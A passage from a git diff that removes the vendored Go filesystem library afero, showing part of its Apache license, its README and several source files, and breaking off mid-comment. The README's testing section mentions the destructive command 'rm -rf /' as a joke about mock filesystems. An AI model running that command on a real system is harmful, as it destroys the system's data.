compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. diff --git a/vendor/github.com/spf13/afero/README.md b/vendor/github.com/spf13/afero/README.md deleted file mode 100644 index d9e332730b..0000000000 --- a/vendor/github.com/spf13/afero/README.md +++ /dev/null @@ -1,449 +0,0 @@ -![afero logo-sm](https://cloud.githubusercontent.com/assets/173412/11490338/d50e16dc-97a5-11e5-8b12-019a300d0fcb.png) - -A FileSystem Abstraction System for Go - -[![Build Status](https://travis-ci.org/spf13/afero.svg)](https://travis-ci.org/spf13/afero) [![Build status](https://ci.appveyor.com/api/projects/status/github/spf13/afero?branch=master&svg=true)](https://ci.appveyor.com/project/spf13/afero) [![GoDoc](https://godoc.org/github.com/spf13/afero?status.svg)](https://godoc.org/github.com/spf13/afero) [![Join the chat at https://gitter.im/spf13/afero](https://badges.gitter.im/Dev%20Chat.svg)](https://gitter.im/spf13/afero?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) - -# Overview - -Afero is an filesystem framework providing a simple, uniform and universal API -interacting with any filesystem, as an abstraction layer providing interfaces, -types and methods. Afero has an exceptionally clean interface and simple design -without needless constructors or initialization methods. - -Afero is also a library providing a base set of interoperable backend -filesystems that make it easy to work with afero while retaining all the power -and benefit of the os and ioutil packages. - -Afero provides significant improvements over using the os package alone, most -notably the ability to create mock and testing filesystems without relying on the disk. - -It is suitable for use in a any situation where you would consider using the OS -package as it provides an additional abstraction that makes it easy to use a -memory backed file system during testing. It also adds support for the http -filesystem for full interoperability. - - -## Afero Features - -* A single consistent API for accessing a variety of filesystems -* Interoperation between a variety of file system types -* A set of interfaces to encourage and enforce interoperability between backends -* An atomic cross platform memory backed file system -* Support for compositional (union) file systems by combining multiple file systems acting as one -* Specialized backends which modify existing filesystems (Read Only, Regexp filtered) -* A set of utility functions ported from io, ioutil & hugo to be afero aware - - -# Using Afero - -Afero is easy to use and easier to adopt. - -A few different ways you could use Afero: - -* Use the interfaces alone to define you own file system. -* Wrap for the OS packages. -* Define different filesystems for different parts of your application. -* Use Afero for mock filesystems while testing - -## Step 1: Install Afero - -First use go get to install the latest version of the library. - - $ go get github.com/spf13/afero - -Next include Afero in your application. -```go -import "github.com/spf13/afero" -``` - -## Step 2: Declare a backend - -First define a package variable and set it to a pointer to a filesystem. -```go -var AppFs afero.Fs = afero.NewMemMapFs() - -or - -var AppFs afero.Fs = afero.NewOsFs() -``` -It is important to note that if you repeat the composite literal you -will be using a completely new and isolated filesystem. In the case of -OsFs it will still use the same underlying filesystem but will reduce -the ability to drop in other filesystems as desired. - -## Step 3: Use it like you would the OS package - -Throughout your application use any function and method like you normally -would. - -So if my application before had: -```go -os.Open('/tmp/foo') -``` -We would replace it with a call to `AppFs.Open('/tmp/foo')`. - -`AppFs` being the variable we defined above. - - -## List of all available functions - -File System Methods Available: -```go -Chmod(name string, mode os.FileMode) : error -Chtimes(name string, atime time.Time, mtime time.Time) : error -Create(name string) : File, error -Mkdir(name string, perm os.FileMode) : error -MkdirAll(path string, perm os.FileMode) : error -Name() : string -Open(name string) : File, error -OpenFile(name string, flag int, perm os.FileMode) : File, error -Remove(name string) : error -RemoveAll(path string) : error -Rename(oldname, newname string) : error -Stat(name string) : os.FileInfo, error -``` -File Interfaces and Methods Available: -```go -io.Closer -io.Reader -io.ReaderAt -io.Seeker -io.Writer -io.WriterAt - -Name() : string -Readdir(count int) : []os.FileInfo, error -Readdirnames(n int) : []string, error -Stat() : os.FileInfo, error -Sync() : error -Truncate(size int64) : error -WriteString(s string) : ret int, err error -``` -In some applications it may make sense to define a new package that -simply exports the file system variable for easy access from anywhere. - -## Using Afero's utility functions - -Afero provides a set of functions to make it easier to use the underlying file systems. -These functions have been primarily ported from io & ioutil with some developed for Hugo. - -The afero utilities support all afero compatible backends. - -The list of utilities includes: - -```go -DirExists(path string) (bool, error) -Exists(path string) (bool, error) -FileContainsBytes(filename string, subslice []byte) (bool, error) -GetTempDir(subPath string) string -IsDir(path string) (bool, error) -IsEmpty(path string) (bool, error) -ReadDir(dirname string) ([]os.FileInfo, error) -ReadFile(filename string) ([]byte, error) -SafeWriteReader(path string, r io.Reader) (err error) -TempDir(dir, prefix string) (name string, err error) -TempFile(dir, prefix string) (f File, err error) -Walk(root string, walkFn filepath.WalkFunc) error -WriteFile(filename string, data []byte, perm os.FileMode) error -WriteReader(path string, r io.Reader) (err error) -``` -For a complete list see [Afero's GoDoc](https://godoc.org/github.com/spf13/afero) - -They are available under two different approaches to use. You can either call -them directly where the first parameter of each function will be the file -system, or you can declare a new `Afero`, a custom type used to bind these -functions as methods to a given filesystem. - -### Calling utilities directly - -```go -fs := new(afero.MemMapFs) -f, err := afero.TempFile(fs,"", "ioutil-test") - -``` - -### Calling via Afero - -```go -fs := afero.NewMemMapFs -afs := &Afero{Fs: fs} -f, err := afs.TempFile("", "ioutil-test") -``` - -## Using Afero for Testing - -There is a large benefit to using a mock filesystem for testing. It has a -completely blank state every time it is initialized and can be easily -reproducible regardless of OS. You could create files to your heart’s content -and the file access would be fast while also saving you from all the annoying -issues with deleting temporary files, Windows file locking, etc. The MemMapFs -backend is perfect for testing. - -* Much faster than performing I/O operations on disk -* Avoid security issues and permissions -* Far more control. 'rm -rf /' with confidence -* Test setup is far more easier to do -* No test cleanup needed - -One way to accomplish this is to define a variable as mentioned above. -In your application this will be set to afero.NewOsFs() during testing you -can set it to afero.NewMemMapFs(). - -It wouldn't be uncommon to have each test initialize a blank slate memory -backend. To do this I would define my `appFS = afero.NewOsFs()` somewhere -appropriate in my application code. This approach ensures that Tests are order -independent, with no test relying on the state left by an earlier test. - -Then in my tests I would initialize a new MemMapFs for each test: -```go -func TestExist(t *testing.T) { - appFS := afero.NewMemMapFs() - // create test files and directories - appFS.MkdirAll("src/a", 0755) - afero.WriteFile(appFS, "src/a/b", []byte("file b"), 0644) - afero.WriteFile(appFS, "src/c", []byte("file c"), 0644) - name := "src/c" - _, err := appFS.Stat(name) - if os.IsNotExist(err) { - t.Errorf("file \"%s\" does not exist.\n", name) - } -} -``` - -# Available Backends - -## Operating System Native - -### OsFs - -The first is simply a wrapper around the native OS calls. This makes it -very easy to use as all of the calls are the same as the existing OS -calls. It also makes it trivial to have your code use the OS during -operation and a mock filesystem during testing or as needed. - -```go -appfs := afero.NewOsFs() -appfs.MkdirAll("src/a", 0755)) -``` - -## Memory Backed Storage - -### MemMapFs - -Afero also provides a fully atomic memory backed filesystem perfect for use in -mocking and to speed up unnecessary disk io when persistence isn’t -necessary. It is fully concurrent and will work within go routines -safely. - -```go -mm := afero.NewMemMapFs() -mm.MkdirAll("src/a", 0755)) -``` - -#### InMemoryFile - -As part of MemMapFs, Afero also provides an atomic, fully concurrent memory -backed file implementation. This can be used in other memory backed file -systems with ease. Plans are to add a radix tree memory stored file -system using InMemoryFile. - -## Network Interfaces - -### SftpFs - -Afero has experimental support for secure file transfer protocol (sftp). Which can -be used to perform file operations over a encrypted channel. - -## Filtering Backends - -### BasePathFs - -The BasePathFs restricts all operations to a given path within an Fs. -The given file name to the operations on this Fs will be prepended with -the base path before calling the source Fs. - -```go -bp := afero.NewBasePathFs(afero.NewOsFs(), "/base/path") -``` - -### ReadOnlyFs - -A thin wrapper around the source Fs providing a read only view. - -```go -fs := afero.NewReadOnlyFs(afero.NewOsFs()) -_, err := fs.Create("/file.txt") -// err = syscall.EPERM -``` - -# RegexpFs - -A filtered view on file names, any file NOT matching -the passed regexp will be treated as non-existing. -Files not matching the regexp provided will not be created. -Directories are not filtered. - -```go -fs := afero.NewRegexpFs(afero.NewMemMapFs(), regexp.MustCompile(`\.txt$`)) -_, err := fs.Create("/file.html") -// err = syscall.ENOENT -``` - -### HttpFs - -Afero provides an http compatible backend which can wrap any of the existing -backends. - -The Http package requires a slightly specific version of Open which -returns an http.File type. - -Afero provides an httpFs file system which satisfies this requirement. -Any Afero FileSystem can be used as an httpFs. - -```go -httpFs := afero.NewHttpFs() -fileserver := http.FileServer(httpFs.Dir())) -http.Handle("/", fileserver) -``` - -## Composite Backends - -Afero provides the ability have two filesystems (or more) act as a single -file system. - -### CacheOnReadFs - -The CacheOnReadFs will lazily make copies of any accessed files from the base -layer into the overlay. Subsequent reads will be pulled from the overlay -directly permitting the request is within the cache duration of when it was -created in the overlay. - -If the base filesystem is writeable, any changes to files will be -done first to the base, then to the overlay layer. Write calls to open file -handles like `Write()` or `Truncate()` to the overlay first. - -To writing files to the overlay only, you can use the overlay Fs directly (not -via the union Fs). - -Cache files in the layer for the given time.Duration, a cache duration of 0 -means "forever" meaning the file will not be re-requested from the base ever. - -A read-only base will make the overlay also read-only but still copy files -from the base to the overlay when they're not present (or outdated) in the -caching layer. - -```go -base := afero.NewOsFs() -layer := afero.NewMemMapFs() -ufs := afero.NewCacheOnReadFs(base, layer, 100 * time.Second) -``` - -### CopyOnWriteFs() - -The CopyOnWriteFs is a read only base file system with a potentially -writeable layer on top. - -Read operations will first look in the overlay and if not found there, will -serve the file from the base. - -Changes to the file system will only be made in the overlay. - -Any attempt to modify a file found only in the base will copy the file to the -overlay layer before modification (including opening a file with a writable -handle). - -Removing and Renaming files present only in the base layer is not currently -permitted. If a file is present in the base layer and the overlay, only the -overlay will be removed/renamed. - -```go - base := afero.NewOsFs() - roBase := afero.NewReadOnlyFs(base) - ufs := afero.NewCopyOnWriteFs(roBase, afero.NewMemMapFs()) - - fh, _ = ufs.Create("/home/test/file2.txt") - fh.WriteString("This is a test") - fh.Close() -``` - -In this example all write operations will only occur in memory (MemMapFs) -leaving the base filesystem (OsFs) untouched. - - -## Desired/possible backends - -The following is a short list of possible backends we hope someone will -implement: - -* SSH -* ZIP -* TAR -* S3 - -# About the project - -## What's in the name - -Afero comes from the latin roots Ad-Facere. - -**"Ad"** is a prefix meaning "to". - -**"Facere"** is a form of the root "faciō" making "make or do". - -The literal meaning of afero is "to make" or "to do" which seems very fitting -for a library that allows one to make files and directories and do things with them. - -The English word that shares the same roots as Afero is "affair". Affair shares -the same concept but as a noun it means "something that is made or done" or "an -object of a particular type". - -It's also nice that unlike some of my other libraries (hugo, cobra, viper) it -Googles very well. - -## Release Notes - -* **0.10.0** 2015.12.10 - * Full compatibility with Windows - * Introduction of afero utilities - * Test suite rewritten to work cross platform - * Normalize paths for MemMapFs - * Adding Sync to the file interface - * **Breaking Change** Walk and ReadDir have changed parameter order - * Moving types used by MemMapFs to a subpackage - * General bugfixes and improvements -* **0.9.0** 2015.11.05 - * New Walk function similar to filepath.Walk - * MemMapFs.OpenFile handles O_CREATE, O_APPEND, O_TRUNC - * MemMapFs.Remove now really deletes the file - * InMemoryFile.Readdir and Readdirnames work correctly - * InMemoryFile functions lock it for concurrent access - * Test suite improvements -* **0.8.0** 2014.10.28 - * First public version - * Interfaces feel ready for people to build using - * Interfaces satisfy all known uses - * MemMapFs passes the majority of the OS test suite - * OsFs passes the majority of the OS test suite - -## Contributing - -1. Fork it -2. Create your feature branch (`git checkout -b my-new-feature`) -3. Commit your changes (`git commit -am 'Add some feature'`) -4. Push to the branch (`git push origin my-new-feature`) -5. Create new Pull Request - -## Contributors - -Names in no particular order: - -* [spf13](https://github.com/spf13) -* [jaqx0r](https://github.com/jaqx0r) -* [mbertschler](https://github.com/mbertschler) -* [xor-gate](https://github.com/xor-gate) - -## License - -Afero is released under the Apache 2.0 license. See -[LICENSE.txt](https://github.com/spf13/afero/blob/master/LICENSE.txt) diff --git a/vendor/github.com/spf13/afero/afero.go b/vendor/github.com/spf13/afero/afero.go deleted file mode 100644 index f5b5e127cd..0000000000 --- a/vendor/github.com/spf13/afero/afero.go +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// Copyright 2013 tsuru authors. All rights reserved. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package afero provides types and methods for interacting with the filesystem, -// as an abstraction layer. - -// Afero also provides a few implementations that are mostly interoperable. One that -// uses the operating system filesystem, one that uses memory to store files -// (cross platform) and an interface that should be implemented if you want to -// provide your own filesystem. - -package afero - -import ( - "errors" - "io" - "os" - "time" -) - -type Afero struct { - Fs -} - -// File represents a file in the filesystem. -type File interface { - io.Closer - io.Reader - io.ReaderAt - io.Seeker - io.Writer - io.WriterAt - - Name() string - Readdir(count int) ([]os.FileInfo, error) - Readdirnames(n int) ([]string, error) - Stat() (os.FileInfo, error) - Sync() error - Truncate(size int64) error - WriteString(s string) (ret int, err error) -} - -// Fs is the filesystem interface. -// -// Any simulated or real filesystem should implement this interface. -type Fs interface { - // Create creates a file in the filesystem, returning the file and an - // error, if any happens. - Create(name string) (File, error) - - // Mkdir creates a directory in the filesystem, return an error if any - // happens. - Mkdir(name string, perm os.FileMode) error - - // MkdirAll creates a directory path and all parents that does not exist - // yet. - MkdirAll(path string, perm os.FileMode) error - - // Open opens a file, returning it or an error, if any happens. - Open(name string) (File, error) - - // OpenFile opens a file using the given flags and the given mode. - OpenFile(name string, flag int, perm os.FileMode) (File, error) - - // Remove removes a file identified by name, returning an error, if any - // happens. - Remove(name string) error - - // RemoveAll removes a directory path and any children it contains. It - // does not fail if the path does not exist (return nil). - RemoveAll(path string) error - - // Rename renames a file. - Rename(oldname, newname string) error - - // Stat returns a FileInfo describing the named file, or an error, if any - // happens. - Stat(name string) (os.FileInfo, error) - - // The name of this FileSystem - Name() string - - //Chmod changes the mode of the named file to mode. - Chmod(name string, mode os.FileMode) error - - //Chtimes changes the access and modification times of the named file - Chtimes(name string, atime time.Time, mtime time.Time) error -} - -var ( - ErrFileClosed = errors.New("File is closed") - ErrOutOfRange = errors.New("Out of range") - ErrTooLarge = errors.New("Too large") - ErrFileNotFound = os.ErrNotExist - ErrFileExists = os.ErrExist - ErrDestinationExists = os.ErrExist -) diff --git a/vendor/github.com/spf13/afero/appveyor.yml b/vendor/github.com/spf13/afero/appveyor.yml deleted file mode 100644 index 006f315349..0000000000 --- a/vendor/github.com/spf13/afero/appveyor.yml +++ /dev/null @@ -1,15 +0,0 @@ -version: '{build}' -clone_folder: C:\gopath\src\github.com\spf13\afero -environment: - GOPATH: C:\gopath -build_script: -- cmd: >- - go version - - go env - - go get -v github.com/spf13/afero/... - - go build github.com/spf13/afero -test_script: -- cmd: go test -v github.com/spf13/afero diff --git a/vendor/github.com/spf13/afero/basepath.go b/vendor/github.com/spf13/afero/basepath.go deleted file mode 100644 index 5e4fc2ec05..0000000000 --- a/vendor/github.com/spf13/afero/basepath.go +++ /dev/null @@ -1,145 +0,0 @@ -package afero - -import ( - "errors" - "os" - "path/filepath" - "runtime" - "strings" - "time" -) - -// The BasePathFs restricts all operations to a given path within an Fs. -// The given file name to the operations on this Fs will be prepended with -// the base path before calling the base Fs. -// Any file name (after filepath.Clean()) outside this base path will be -// treated as non existing file. -// -// Note that it does not clean the error messages on return, so you may -// reveal the real path on errors. -type BasePathFs struct { - source Fs - path string -} - -func NewBasePathFs(source Fs, path string) Fs { - return &BasePathFs{source: source, path: path} -} - -// on a file outside the base path it returns the given file name and an error, -// else the given file with the base path prepended -func (b *BasePathFs) RealPath(name string) (path string, err error) { - if err := validateBasePathName(name); err != nil { - return "", err - } - - bpath := filepath.Clean(b.path) - path = filepath.Clean(filepath.Join(bpath, name)) - if !strings.HasPrefix(path, bpath) { - return name, os.ErrNotExist - } - - return path, nil -} - -func validateBasePathName(name string) error { - if runtime.GOOS != "windows" { - // Not much to do here; - // the virtual file paths all look absolute on *nix. - return nil - } - - // On Windows a common mistake would be to provide an absolute OS path - // We could strip out the base part, but that would not be very portable. - if filepath.IsAbs(name) { - return &os.PathError{Op: "realPath", Path: name, Err: errors.New("got a real OS path instead of a virtual")} - } - - return nil -} - -func (b *BasePathFs) Chtimes(name string, atime, mtime time.Time) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "chtimes", Path: name, Err: err} - } - return b.source.Chtimes(name, atime, mtime) -} - -func (b *BasePathFs) Chmod(name string, mode os.FileMode) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "chmod", Path: name, Err: err} - } - return b.source.Chmod(name, mode) -} - -func (b *BasePathFs) Name() string { - return "BasePathFs" -} - -func (b *BasePathFs) Stat(name string) (fi os.FileInfo, err error) { - if name, err = b.RealPath(name); err != nil { - return nil, &os.PathError{Op: "stat", Path: name, Err: err} - } - return b.source.Stat(name) -} - -func (b *BasePathFs) Rename(oldname, newname string) (err error) { - if oldname, err = b.RealPath(oldname); err != nil { - return &os.PathError{Op: "rename", Path: oldname, Err: err} - } - if newname, err = b.RealPath(newname); err != nil { - return &os.PathError{Op: "rename", Path: newname, Err: err} - } - return b.source.Rename(oldname, newname) -} - -func (b *BasePathFs) RemoveAll(name string) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "remove_all", Path: name, Err: err} - } - return b.source.RemoveAll(name) -} - -func (b *BasePathFs) Remove(name string) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "remove", Path: name, Err: err} - } - return b.source.Remove(name) -} - -func (b *BasePathFs) OpenFile(name string, flag int, mode os.FileMode) (f File, err error) { - if name, err = b.RealPath(name); err != nil { - return nil, &os.PathError{Op: "openfile", Path: name, Err: err} - } - return b.source.OpenFile(name, flag, mode) -} - -func (b *BasePathFs) Open(name string) (f File, err error) { - if name, err = b.RealPath(name); err != nil { - return nil, &os.PathError{Op: "open", Path: name, Err: err} - } - return b.source.Open(name) -} - -func (b *BasePathFs) Mkdir(name string, mode os.FileMode) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "mkdir", Path: name, Err: err} - } - return b.source.Mkdir(name, mode) -} - -func (b *BasePathFs) MkdirAll(name string, mode os.FileMode) (err error) { - if name, err = b.RealPath(name); err != nil { - return &os.PathError{Op: "mkdir", Path: name, Err: err} - } - return b.source.MkdirAll(name, mode) -} - -func (b *BasePathFs) Create(name string) (f File, err error) { - if name, err = b.RealPath(name); err != nil { - return nil, &os.PathError{Op: "create", Path: name, Err: err} - } - return b.source.Create(name) -} - -// vim: ts=4 sw=4 noexpandtab nolist syn=go diff --git a/vendor/github.com/spf13/afero/cacheOnReadFs.go b/vendor/github.com/spf13/afero/cacheOnReadFs.go deleted file mode 100644 index e54a4f8b42..0000000000 --- a/vendor/github.com/spf13/afero/cacheOnReadFs.go +++ /dev/null @@ -1,295 +0,0 @@ -package afero - -import ( - "os" - "syscall" - "time" -) - -// If the cache duration is 0, cache time will be unlimited, i.e. once -// a file is in the layer, the base will never be read again for this file. -// -// For cache times greater than 0, the modification time of a file is -// checked. Note that a lot of file system implementations only allow a -// resolution of a second for timestamps... or as the godoc for os.Chtimes() -// states: "The underlying filesystem may truncate or round the values to a -// less precise time unit." -// -// This caching union will forward all write calls also to the base file -// system first. To prevent writing to the base Fs, wrap it in a read-only -// filter - Note: this will also make the overlay read-only, for writing files -// in the overlay, use the overlay Fs directly, not via the union Fs. -type CacheOnReadFs struct { - base Fs - layer Fs - cacheTime time.Duration -} - -func NewCacheOnReadFs(base Fs, layer Fs, cacheTime time.Duration) Fs { - return &CacheOnReadFs{base: base, layer: layer, cacheTime: cacheTime} -} - -type cacheState int - -const ( - // not present in the overlay, unknown if it exists in the base: - cacheMiss cacheState = iota - // present in the overlay and in base, base file is newer: - cacheStale - // present in the overlay - with cache time == 0 it may exist in the base, - // with cacheTime > 0 it exists in the base and is same age or newer in the - // overlay - cacheHit - // happens if someone writes directly to the overlay without - // going through this union - cacheLocal -) - -func (u *CacheOnReadFs) cacheStatus(name string) (state cacheState, fi os.FileInfo, err error) { - var lfi, bfi os.FileInfo - lfi, err = u.layer.Stat(name) - if err == nil { - if u.cacheTime == 0 { - return cacheHit, lfi, nil - } - if lfi.ModTime().Add(u.cacheTime).Before(time.Now()) { - bfi, err = u.base.Stat(name) - if err != nil { - return cacheLocal, lfi, nil - } - if bfi.ModTime().After(lfi.ModTime()) { - return cacheStale, bfi, nil - } - } - return cacheHit, lfi, nil - } - - if err == syscall.ENOENT { - return cacheMiss, nil, nil - } - var ok bool - if err, ok = err.(*os.PathError); ok { - if err == os.ErrNotExist { - return cacheMiss, nil, nil - } - } - return cacheMiss, nil, err -} - -func (u *CacheOnReadFs) copyToLayer(name string) error { - return copyToLayer(u.base, u.layer, name) -} - -func (u *CacheOnReadFs) Chtimes(name string, atime, mtime time.Time) error { - st, _, err := u.cacheStatus(name) - if err != nil { - return err - } - switch st { - case cacheLocal: - case cacheHit: - err = u.base.Chtimes(name, atime, mtime) - case cacheStale, cacheMiss: - if err := u.copyToLayer(name); err != nil { - return err - } - err = u.base.Chtimes(name, atime, mtime) - } - if err != nil { - return err - } - return u.layer.Chtimes(name, atime, mtime) -} - -func (u *CacheOnReadFs) Chmod(name string, mode os.FileMode) error { - st, _, err := u.cacheStatus(name) - if err != nil { - return err - } - switch st { - case cacheLocal: - case cacheHit: - err = u.base.Chmod(name, mode) - case cacheStale, cacheMiss: - if err := u.copyToLayer(name); err != nil { - return err - } - err = u.base.Chmod(name, mode) - } - if err != nil { - return err - } - return u.layer.Chmod(name, mode) -} - -func (u *CacheOnReadFs) Stat(name string) (os.FileInfo, error) { - st, fi, err := u.cacheStatus(name) - if err != nil { - return nil, err - } - switch st { - case cacheMiss: - return u.base.Stat(name) - default: // cacheStale has base, cacheHit and cacheLocal the layer os.FileInfo - return fi, nil - } -} - -func (u *CacheOnReadFs) Rename(oldname, newname string) error { - st, _, err := u.cacheStatus(oldname) - if err != nil { - return err - } - switch st { - case cacheLocal: - case cacheHit: - err = u.base.Rename(oldname, newname) - case cacheStale, cacheMiss: - if err := u.copyToLayer(oldname); err != nil { - return err - } - err = u.base.Rename(oldname, newname) - } - if err != nil { - return err - } - return u.layer.Rename(oldname, newname) -} - -func (u *CacheOnReadFs) Remove(name string) error { - st, _, err := u.cacheStatus(name) - if err != nil { - return err - } - switch st { - case cacheLocal: - case cacheHit, cacheStale, cacheMiss: - err = u.base.Remove(name) - } - if err != nil { - return err - } - return u.layer.Remove(name) -} - -func (u *CacheOnReadFs) RemoveAll(name string) error { - st, _, err := u.cacheStatus(name) - if err != nil { - return err - } - switch st { - case cacheLocal: - case cacheHit, cacheStale, cacheMiss: - err = u.base.RemoveAll(name) - } - if err != nil { - return err - } - return u.layer.RemoveAll(name) -} - -func (u *CacheOnReadFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - st, _, err := u.cacheStatus(name) - if err != nil { - return nil, err - } - switch st { - case cacheLocal, cacheHit: - default: - if err := u.copyToLayer(name); err != nil { - return nil, err - } - } - if flag&(os.O_WRONLY|syscall.O_RDWR|os.O_APPEND|os.O_CREATE|os.O_TRUNC) != 0 { - bfi, err := u.base.OpenFile(name, flag, perm) - if err != nil { - return nil, err - } - lfi, err := u.layer.OpenFile(name, flag, perm) - if err != nil { - bfi.Close() // oops, what if O_TRUNC was set and file opening in the layer failed...? - return nil, err - } - return &UnionFile{base: bfi, layer: lfi}, nil - } - return u.layer.OpenFile(name, flag, perm) -} - -func (u *CacheOnReadFs) Open(name string) (File, error) { - st, fi, err := u.cacheStatus(name) - if err != nil { - return nil, err - } - - switch st { - case cacheLocal: - return u.layer.Open(name) - - case cacheMiss: - bfi, err := u.base.Stat(name) - if err != nil { - return nil, err - } - if bfi.IsDir() { - return u.base.Open(name) - } - if err := u.copyToLayer(name); err != nil { - return nil, err - } - return u.layer.Open(name) - - case cacheStale: - if !fi.IsDir() { - if err := u.copyToLayer(name); err != nil { - return nil, err - } - return u.layer.Open(name) - } - case cacheHit: - if !fi.IsDir() { - return u.layer.Open(name) - } - } - // the dirs from cacheHit, cacheStale fall down here: - bfile, _ := u.base.Open(name) - lfile, err := u.layer.Open(name) - if err != nil && bfile == nil { - return nil, err - } - return &UnionFile{base: bfile, layer: lfile}, nil -} - -func (u *CacheOnReadFs) Mkdir(name string, perm os.FileMode) error { - err := u.base.Mkdir(name, perm) - if err != nil { - return err - } - return u.layer.MkdirAll(name, perm) // yes, MkdirAll... we cannot assume it exists in the cache -} - -func (u *CacheOnReadFs) Name() string { - return "CacheOnReadFs" -} - -func (u *CacheOnReadFs) MkdirAll(name string, perm os.FileMode) error { - err := u.base.MkdirAll(name, perm) - if err != nil { - return err - } - return u.layer.MkdirAll(name, perm) -} - -func (u *CacheOnReadFs) Create(name string) (File, error) { - bfh, err := u.base.Create(name) - if err != nil { - return nil, err - } - lfh, err := u.layer.Create(name) - if err != nil { - // oops, see comment about 